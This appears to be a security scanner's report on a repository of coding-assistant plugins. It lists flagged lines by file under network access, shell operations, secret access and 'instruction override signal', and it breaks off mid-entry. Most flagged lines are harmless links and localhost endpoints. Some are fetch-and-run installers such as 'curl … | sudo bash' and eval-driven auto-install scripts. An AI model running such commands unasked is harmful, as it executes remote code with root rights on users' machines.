  • Network accessline 79
    - [Backstage Kubernetes](https://backstage.io/docs/features/kubernetes/)
  • Network accessline 80
    - [Kubernetes configuration](https://backstage.io/docs/features/kubernetes/configuration)

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-mcp-actions/SKILL.md

  • Network accessline 78
    - [MCP Actions Backend](https://backstage.io/docs/ai/mcp-actions)
  • Network accessline 79
    - [Well-known actions](https://backstage.io/docs/ai/well-known-actions)
  • Network accessline 80
    - [Actions Registry](https://backstage.io/docs/backend-system/core-services/actions-registry)

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-notifications/SKILL.md

  • Network accessline 68
    - [Backstage Notifications](https://backstage.io/docs/notifications/)
  • Network accessline 69
    - [Notification usage](https://backstage.io/docs/notifications/usage)
  • Network accessline 70
    - [Notification processors](https://backstage.io/docs/notifications/processors)

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-permissions/SKILL.md

  • Network accessline 77
    - [Permission framework overview](https://backstage.io/docs/permissions/overview)
  • Network accessline 78
    - [Plugin author permissions](https://backstage.io/docs/permissions/plugin-authors/01-setup)

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-backstage-search/SKILL.md

  • Network accessline 74
    - [Backstage Search](https://backstage.io/docs/features/search/)
  • Network accessline 75
    - [Search architecture](https://backstage.io/docs/features/search/architecture)
  • Network accessline 76
    - [Getting started with Search](https://backstage.io/docs/features/search/getting-started)

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-deploy-orchestration/SKILL.md

  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Network accessline 123
    # Access ArgoCD kubectl port-forward svc/argocd-server -n argocd 8080:443 # Visit https://localhost:8080
  • Network accessline 125
    # Visit https://localhost:8080
  • Network accessline 127
    # Access Grafana kubectl port-forward svc/prometheus-grafana -n observability 3000:80 # Visit http://localhost:3000
  • Network accessline 129
    # Visit http://localhost:3000

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-deploy-orchestration/references/rollback.md

  • Access to secretsline 9
    [Credential-related source omitted]
  • Access to secretsline 15
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-deploy-orchestration/references/troubleshooting.md

  • Dangerous shell operationline 10
    rm -rf terraform/.terraform
  • Access to secretsline 18
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-prerequisites/SKILL.md

  • Network accessline 76
    # Azure CLI curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Dangerous shell operationline 77
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 77
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 79
    # Terraform wget -O- https://apt.releases.hashicorp.com/gpg | sudo gpg --dearmor -o /usr/share/keyrings/hashicorp-archive-keyring.gpg
  • Dangerous shell operationline 80
    [Credential-related source omitted]
  • Network accessline 80
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Dangerous shell operationline 81
    [Credential-related source omitted]
  • Network accessline 81
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Dangerous shell operationline 82
    sudo apt update && sudo apt install terraform
  • Network accessline 84
    # kubectl curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
  • Network accessline 85
    curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
  • Dangerous shell operationline 86
    sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-prerequisites/scripts/validate-cli-prerequisites.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 39
    ["terraform"]="Terraform IaC|terraform version|brew install terraform"     ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Dangerous shell operationline 40
    ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 40
    ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 48
    ["jq"]="JSON Processor|jq --version|brew install jq"     ["yq"]="YAML Processor|yq --version|brew install yq"     ["curl"]="HTTP Client|curl --version|built-in"
  • Network accessline 49
    ["yq"]="YAML Processor|yq --version|brew install yq"     ["curl"]="HTTP Client|curl --version|built-in"     ["git"]="Git|git --version|brew install git"
  • Network accessline 50
    ["curl"]="HTTP Client|curl --version|built-in"
  • Dangerous shell operationline 93
    local version=$(eval "$check_cmd" 2>/dev/null | head -1 | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1 || echo "installed")
  • Dangerous shell operationline 100
    eval "$install_cmd" 2>/dev/null || log_warning "Auto-install failed. Run manually: $install_cmd"
  • Dangerous shell operationline 116
    if eval "$check_cmd" &> /dev/null; then

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-prerequisites/scripts/validate-prerequisites.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 39
    ["terraform"]="Terraform IaC|terraform version|brew install terraform"     ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Dangerous shell operationline 40
    ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 40
    ["az"]="Azure CLI|az version|curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
  • Network accessline 48
    ["jq"]="JSON Processor|jq --version|brew install jq"     ["yq"]="YAML Processor|yq --version|brew install yq"     ["curl"]="HTTP Client|curl --version|built-in"
  • Network accessline 49
    ["yq"]="YAML Processor|yq --version|brew install yq"     ["curl"]="HTTP Client|curl --version|built-in"     ["git"]="Git|git --version|brew install git"
  • Network accessline 50
    ["curl"]="HTTP Client|curl --version|built-in"
  • Dangerous shell operationline 93
    local version=$(eval "$check_cmd" 2>/dev/null | head -1 | grep -oE '[0-9]+\.[0-9]+\.[0-9]+' | head -1 || echo "installed")
  • Dangerous shell operationline 100
    eval "$install_cmd" 2>/dev/null || log_warning "Auto-install failed. Run manually: $install_cmd"
  • Dangerous shell operationline 116
    if eval "$check_cmd" &> /dev/null; then

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-workspace-kit/SKILL.md

  • Network accessline 133
    - [GitHub Copilot custom instructions](https://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/add-repository-instructions/add-repository-instructions)
  • Network accessline 134
    - [VS Code prompt files](https://code.visualstudio.com/docs/copilot/customization/prompt-files)

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-workspace-kit/scripts/install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-workspace-kit/scripts/test_install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/open-horizons-platform/skills/open-horizons-workspace-kit/templates/mcp.json

  • Network accessline 3
    "microsoft-docs": {       "type": "http",       "url": "https://learn.microsoft.com/api/mcp",
  • Network accessline 4
    "type": "http",       "url": "https://learn.microsoft.com/api/mcp",       "tools": [
  • Network accessline 5
    "url": "https://learn.microsoft.com/api/mcp",

harness/claude-code/plugins/open-horizons-platform/skills/prompt/SKILL.md

  • Instruction override signalline 66
    Prompt frontmatter controls tool availability, not approval. Default Approvals, Assisted permissions, Bypass Approvals, Autopilot, URL approval, terminal approval, sandboxing, and managed organizational rules
  • Instruction override signalline 67
    Bypass Approvals, Autopilot, URL approval, terminal approval, sandboxing, and managed organizational rules
  • Network accessline 114
    - VS Code prompt files: https://code.visualstudio.com/docs/agent-customization/prompt-files

harness/claude-code/plugins/open-horizons-platform/skills/python-package-management/SKILL.md

  • Network accessline 37
    Uses [uv](https://github.com/astral-sh/uv) for dependency management and
  • Network accessline 38
    [poethepoet](https://github.com/nat-n/poethepoet) for task automation.
  • Network accessline 243
    - `released` -> `Development Status :: 5 - Production/Stable` - See the PyPI classifier list for the available classifier values:   `https://pypi.org/classifiers/`
  • Network accessline 245
    `https://pypi.org/classifiers/`

harness/claude-code/plugins/open-horizons-platform/skills/sdd-requirements-engineer/references/ears-notation.md

  • Network accessline 103
    - Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25.
  • Network accessline 104
    - A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9).
  • Network accessline 105
    - University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.

harness/claude-code/plugins/openapi-to-application-csharp-dotnet/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/openapi-to-application-csharp-dotnet/skills/openapi-to-application-code/SKILL.md

  • Network accessline 19
    - "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 20
    - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition."
  • Network accessline 21
    - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 29
    | Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, 
  • Network accessline 30
    | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro
  • Network accessline 31
    | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. |
  • Network accessline 149
    - [Example OpenAPI URL](https://api.example.com/openapi.json)

harness/claude-code/plugins/openapi-to-application-go/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/openapi-to-application-go/skills/openapi-to-application-code/SKILL.md

  • Network accessline 19
    - "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 20
    - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition."
  • Network accessline 21
    - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 29
    | Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, 
  • Network accessline 30
    | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro
  • Network accessline 31
    | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. |
  • Network accessline 149
    - [Example OpenAPI URL](https://api.example.com/openapi.json)

harness/claude-code/plugins/openapi-to-application-java-spring-boot/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/openapi-to-application-java-spring-boot/skills/openapi-to-application-code/SKILL.md

  • Network accessline 19
    - "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 20
    - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition."
  • Network accessline 21
    - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 29
    | Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, 
  • Network accessline 30
    | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro
  • Network accessline 31
    | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. |
  • Network accessline 149
    - [Example OpenAPI URL](https://api.example.com/openapi.json)

harness/claude-code/plugins/openapi-to-application-nodejs-nestjs/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/openapi-to-application-nodejs-nestjs/skills/openapi-to-application-code/SKILL.md

  • Network accessline 19
    - "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 20
    - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition."
  • Network accessline 21
    - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 29
    | Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, 
  • Network accessline 30
    | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro
  • Network accessline 31
    | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. |
  • Network accessline 149
    - [Example OpenAPI URL](https://api.example.com/openapi.json)

harness/claude-code/plugins/openapi-to-application-python-fastapi/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/openapi-to-application-python-fastapi/skills/openapi-to-application-code/SKILL.md

  • Network accessline 19
    - "Generate an application from this OpenAPI spec." - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 20
    - "Scaffold a server from this openapi.json file." - "Turn https://api.example.com/openapi.json into runnable code." - "Create controllers and DTOs from this OpenAPI definition."
  • Network accessline 21
    - "Turn https://api.example.com/openapi.json into runnable code."
  • Network accessline 29
    | Input | Acceptable forms | Required handling | | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, 
  • Network accessline 30
    | --- | --- | --- | | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. | | Pro
  • Network accessline 31
    | OpenAPI specification | URL such as `https://api.example.com/openapi.json`, local file path, or pasted YAML/JSON content. | Validate syntax, version, paths, operations, schemas, responses, and security schemes. |
  • Network accessline 149
    - [Example OpenAPI URL](https://api.example.com/openapi.json)

harness/claude-code/plugins/oracle-to-postgres-migration-expert/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/oracle-parentheses-from-clause.md

  • Network accessline 182
    - Reference: [oracle-to-postgres-type-coercion.md](oracle-to-postgres-type-coercion.md) - Other syntax differences - PostgreSQL Documentation: [SELECT Statement](https://www.postgresql.org/docs/current/sql-select.html)
  • Network accessline 183
    - PostgreSQL Documentation: [SELECT Statement](https://www.postgresql.org/docs/current/sql-select.html)

harness/claude-code/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/oracle-to-postgres-to-char-numeric.md

  • Network accessline 144
    - [oracle-to-postgres-type-coercion.md](oracle-to-postgres-type-coercion.md) - Related type conversion issues - PostgreSQL Documentation: [Data Type Formatting Functions](https://www.postgresql.org/docs/current/functions-formatting.html)
  • Network accessline 145
    - PostgreSQL Documentation: [Data Type Formatting Functions](https://www.postgresql.org/docs/current/functions-formatting.html)

harness/claude-code/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/oracle-to-postgres-type-coercion.md

  • Network accessline 171
    - [PostgreSQL Type Casting Documentation](https://www.postgresql.org/docs/current/sql-syntax.html)
  • Network accessline 172
    - [Oracle Type Conversion Documentation](https://docs.oracle.com/database/121/SQLRF/sql_elements003.htm)
  • Network accessline 173
    - [Npgsql Exception: Operator Does Not Exist](https://www.npgsql.org/doc/api/Npgsql.NpgsqlException.html)

harness/claude-code/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/postgres-concurrent-transactions.md

  • Network accessline 257
    - [Npgsql Documentation: Basic Usage](https://www.npgsql.org/doc/basic-usage.html)
  • Network accessline 258
    - [PostgreSQL Documentation: Concurrency Control](https://www.postgresql.org/docs/current/mvcc.html)
  • Network accessline 259
    - [Npgsql GitHub: Multiple Active Result Sets Discussion](https://github.com/npgsql/npgsql/issues/462)

harness/claude-code/plugins/oracle-to-postgres-migration-expert/skills/reviewing-oracle-to-postgres-migration/references/postgres-refcursor-handling.md

  • Network accessline 146
    - [PostgreSQL Documentation: Cursors](https://www.postgresql.org/docs/current/plpgsql-cursors.html) - [PostgreSQL FETCH Command](https://www.postgresql.org/docs/current/sql-fetch.html)
  • Network accessline 147
    - [PostgreSQL FETCH Command](https://www.postgresql.org/docs/current/sql-fetch.html)
  • Network accessline 148
    - [Npgsql Refcursor Support](https://github.com/npgsql/npgsql/issues/1887)

harness/claude-code/plugins/ospo-sponsorship/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT"
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/ospo-sponsorship/skills/sponsor-finder/SKILL.md

  • Network accessline 63
    https://api.deps.dev/v3/systems/{ECOSYSTEM}/packages/{PACKAGE}/versions/{VERSION}:dependencies
  • Network accessline 68
    https://api.deps.dev/v3/systems/npm/packages/express/versions/5.2.1:dependencies
  • Network accessline 93
    https://api.deps.dev/v3/systems/{ECOSYSTEM}/packages/{NAME}/versions/{VERSION}
  • Network accessline 114
    https://api.deps.dev/v3/projects/github.com%2F{owner}%2F{repo}
  • Network accessline 139
    ### 5a: npm `funding` field (npm ecosystem only) Use `web_fetch` on `https://registry.npmjs.org/{package-name}/latest` and check for a `funding` field:
  • Network accessline 140
    Use `web_fetch` on `https://registry.npmjs.org/{package-name}/latest` and check for a `funding` field:
  • Network accessline 141
    - **String: ** `"https://github.com/sponsors/sindresorhus"` → use as URL
  • Network accessline 142
    - **Object: ** `{"type": "opencollective", "url": "https://opencollective.com/express"}` → use `url`
  • Network accessline 154
    GitHub supports a [default community health files](https://docs.github.com/en/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file) convention: a `.github` repository at the user/org level p
  • Network accessline 158
    Parse the YAML (same for both 5b-i and 5b-ii): - `github: [username]` → `https://github.com/sponsors/{username}`
  • Network accessline 159
    - `github: [username]` → `https://github.com/sponsors/{username}`
  • Network accessline 160
    - `open_collective: slug` → `https://opencollective.com/{slug}`
  • Network accessline 161
    - `ko_fi: username` → `https://ko-fi.com/{username}`
  • Network accessline 162
    - `patreon: username` → `https://patreon.com/{username}`
  • Network accessline 163
    - `tidelift: platform/package` → `https://tidelift.com/subscription/pkg/{platform-package}`
  • Network accessline 255
    1.**@{user}**— {N} direct + {M} transitive deps · Maintained    {dep1}, {dep2}, {dep3}, ...    https://github.com/sponsors/{user}
  • Network accessline 257
    https://github.com/sponsors/{user}
  • Network accessline 259
    2.**Open Collective: {name}**— {N} direct + {M} transitive deps · Maintained    {dep1}, {dep2}, {dep3}, ...    https://opencollective.com/{name}
  • Network accessline 261
    https://opencollective.com/{name}
  • Network accessline 263
    3.**@{user2}**— {N} direct dep · Low activity    {dep1}    https://github.com/sponsors/{user2}
  • Network accessline 265
    https://github.com/sponsors/{user2}

harness/claude-code/plugins/partners/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/pcf-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/pcf-development/skills/pcf-development/SKILL.md

  • Network accessline 168
    - https://learn.microsoft.com/en-us/power-apps/developer/component-framework/overview
  • Network accessline 169
    - https://learn.microsoft.com/en-us/power-apps/developer/component-framework/limitations
  • Network accessline 170
    - https://learn.microsoft.com/en-us/power-apps/developer/component-framework/manifest-schema-reference/

harness/claude-code/plugins/phoenix/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Arize AI"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/phoenix/skills/phoenix-cli/SKILL.md

  • Access to secretsline 36
    [Credential-related source omitted]
  • Network accessline 81
    export PHOENIX_HOST=http://localhost:6006
  • Access to secretsline 83
    [Credential-related source omitted]
  • Network accessline 129
    px auth status                                # check connection and authentication px auth status --endpoint http://other:6006   # check a specific endpoint
  • Network accessline 130
    px auth status --endpoint http://other:6006   # check a specific endpoint
  • Network accessline 142
    px profile show                              # show the active profile's settings px profile show staging                      # show a named profile's settings px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key>
  • Network accessline 143
    px profile show staging                      # show a named profile's settings px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> --activate px profile create local --endpoint http://localhost:6006 --project my-
  • Network accessline 144
    px profile create prod --endpoint https://app.phoenix.arize.com --api-key <key> --activate
  • Network accessline 145
    px profile create local --endpoint http://localhost:6006 --project my-app
  • Network accessline 394
    - [Phoenix application](https://app.phoenix.arize.com)

harness/claude-code/plugins/phoenix/skills/phoenix-cli/references/axial-coding.md

  • Dangerous shell operationline 165
    rm -f "$NOTES_SIDECAR" "$AXIAL_SIDECAR"

harness/claude-code/plugins/phoenix/skills/phoenix-cli/references/open-coding.md

  • Dangerous shell operationline 239
    rm -f "$SIDECAR" ".px/coding/${SLUG}-axial.jsonl"

harness/claude-code/plugins/phoenix/skills/phoenix-evals/references/common-mistakes-python.md

  • Network accessline 72
    # WRONG client = Client(endpoint="https://app.phoenix.arize.com")
  • Network accessline 73
    client = Client(endpoint="https://app.phoenix.arize.com")
  • Network accessline 74
    client = Client(url="https://app.phoenix.arize.com")
  • Network accessline 76
    [Credential-related source omitted]
  • Network accessline 77
    [Credential-related source omitted]
  • Access to secretsline 77
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]

harness/claude-code/plugins/phoenix/skills/phoenix-evals/references/error-analysis.md

  • Network accessline 20
    [Credential-related source omitted]
  • Network accessline 21
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]

harness/claude-code/plugins/phoenix/skills/phoenix-evals/references/observe-tracing-setup.md

  • Network accessline 45
    [Credential-related source omitted]
  • Network accessline 46
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]

harness/claude-code/plugins/phoenix/skills/phoenix-tracing/README.md

  • Network accessline 20
    - [OpenInference Spec](https://github.com/Arize-ai/openinference/tree/main/spec)
  • Network accessline 21
    - [Phoenix Documentation](https://docs.arize.com/phoenix)
  • Network accessline 22
    - [Python OTEL API](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing)
  • Network accessline 23
    - [Python Client API](https://arize.com/docs/phoenix)
  • Network accessline 24
    - [TypeScript API](https://arize-ai.github.io/phoenix/)

harness/claude-code/plugins/phoenix/skills/phoenix-tracing/SKILL.md

  • Network accessline 141
    - [Phoenix Documentation](https://docs.arize.com/phoenix)
  • Network accessline 142
    - [OpenInference Spec](https://github.com/Arize-ai/openinference/tree/main/spec)
  • Network accessline 143
    - [Python OTEL Package](https://arize.com/docs/phoenix/tracing/how-to-tracing/setup-tracing)
  • Network accessline 144
    - [Python Client Package](https://arize.com/docs/phoenix)
  • Network accessline 145
    - [TypeScript Packages](https://arize-ai.github.io/phoenix/)

harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/annotations-python.md

  • Network accessline 8
    from phoenix.client import Client client = Client()  # Default: http://localhost:6006
  • Network accessline 9
    client = Client()  # Default: http://localhost:6006
  • Network accessline 127
    - [Python Client API](https://arize.com/docs/phoenix)

harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/annotations-typescript.md

  • Network accessline 8
    import { createClient } from "@arizeai/phoenix-client"; const client = createClient();  // Default: http://localhost:6006
  • Network accessline 9
    const client = createClient();  // Default: http://localhost:6006
  • Network accessline 173
    - [TypeScript Client API](https://arize-ai.github.io/phoenix/)

harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/instrumentation-manual-python.md

  • Network accessline 47
    @tracer.tool def get_weather(city: str) -> str:     response = requests.get(f"https://api.weather.com/{city}")
  • Network accessline 48
    def get_weather(city: str) -> str:     response = requests.get(f"https://api.weather.com/{city}")     return response.json()["weather"]
  • Network accessline 49
    response = requests.get(f"https://api.weather.com/{city}")
  • Network accessline 180
    - **Span attributes:** `span-chain.md`, `span-retriever.md`, `span-tool.md`, `span-llm.md`, `span-agent.md`, `span-embedding.md`, `span-reranker.md`, `span-guardrail.md`, `span-evaluator.md` - **Auto-instrumentation:** `instrumentation-auto
  • Network accessline 182
    - **API docs:** https://arize.com/docs/phoenix/tracing/how-to-tracing

harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/instrumentation-manual-typescript.md

  • Network accessline 53
    // TOOL - function calls const getWeather = traceTool(   async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()),
  • Network accessline 54
    const getWeather = traceTool(   async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()),   { name: "get-weather" }
  • Network accessline 55
    async (city: string) => fetch(`/api/weather/${city}`).then(r => r.json()),
  • Network accessline 170
    - **Span attributes:** `span-chain.md`, `span-retriever.md`, `span-tool.md`, etc. - **Attribute helpers:** https://arize.com/docs/phoenix/tracing/how-to-tracing#manual-instrumentation
  • Network accessline 171
    - **Attribute helpers:** https://arize.com/docs/phoenix/tracing/how-to-tracing#manual-instrumentation

harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/projects-python.md

  • Access to secretsline 21
    [Credential-related source omitted]

harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/sessions-python.md

  • Network accessline 103
    - **TypeScript sessions:** `sessions-typescript.md` - **Session docs:** https://arize.com/docs/phoenix/tracing/how-to-tracing
  • Network accessline 104
    - **Session docs:** https://arize.com/docs/phoenix/tracing/how-to-tracing

harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/sessions-typescript.md

  • Network accessline 23
    register({   projectName: "your-app",   url: process.env.PHOENIX_COLLECTOR_ENDPOINT || "http://localhost:6006",
  • Network accessline 24
    [Credential-related source omitted]
  • Network accessline 25
    url: process.env.PHOENIX_COLLECTOR_ENDPOINT || "http://localhost:6006",
  • Access to secretsline 26
    [Credential-related source omitted]
  • Network accessline 95
    # Get all traces for a session npx @arizeai/phoenix-cli traces \   --endpoint http://localhost:6006 \
  • Network accessline 96
    npx @arizeai/phoenix-cli traces    --endpoint http://localhost:6006
  • Network accessline 97
    --endpoint http://localhost:6006 \

harness/claude-code/plugins/phoenix/skills/phoenix-tracing/references/setup-python.md

  • Network accessline 19
    **Connects to `http://localhost:6006`, auto-instruments all supported libraries.**
  • Network accessline 34
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 35
    export PHOENIX_COLLECTOR_ENDPOINT="http://localhost:6006"  # Or Cloud URL
  • Network accessline 44
